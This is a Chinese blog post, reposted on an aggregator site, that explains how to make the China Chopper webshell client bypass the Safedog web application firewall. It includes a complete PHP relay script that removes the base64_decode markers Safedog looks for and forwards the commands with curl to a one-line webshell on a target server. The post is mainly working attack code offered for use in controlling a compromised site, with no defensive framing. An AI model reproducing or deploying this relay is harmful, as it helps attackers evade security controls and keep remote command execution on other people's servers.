zoukankan      html  css  js  c++  java
  • 简单几步让中国菜刀绕过安全狗

    有些一句话虽然可以单独成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

    首先在本地搭建WEB SERVER,然后写一个php转发程序:

    $target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
    $poststr='';
    $i=0;
    foreach($_POST as $k=>$v)
    {
    if(strstr($v, "base64_decode"))
    {
    $v=str_replace("base64_decode(","",$v);
    $v=str_replace("))",")",$v);
    }
    else
    {
    if($k==="z0")
    $v=base64_decode($v);
    }
    $pp=$k."=".urlencode($v);
    //echo($pp);
    if($i!=0)
    {
    $poststr=$poststr."&".$pp;
    }
    else
    {
    $poststr=$pp;
    }
    $i=$i+1;
    }
    $ch = curl_init();
    $curl_url = $target."?".$_SERVER['QUERY_STRING'];
    curl_setopt($ch, CURLOPT_URL, $curl_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
    ?>

    意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

    这样就可以使用菜刀来连接前面那个一句话马了:

    这样就能用菜刀了

  • 相关阅读:
    彻底理解cookie,session,token
    IP 别名和辅助 IP 地址
    1 构建Mysql+heartbeat+DRBD+LVS集群应用系统系列之DRBD的搭建
    centos配置DNS和ip
    centos的安装和下载
    activemq的学习
    mongodb的分片
    MongoDB的安装
    分布式事务中的三种解决方案详解(转载)
    redis中redis.conf配置文件解析
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154569.html
Copyright © 2011-2022 走看看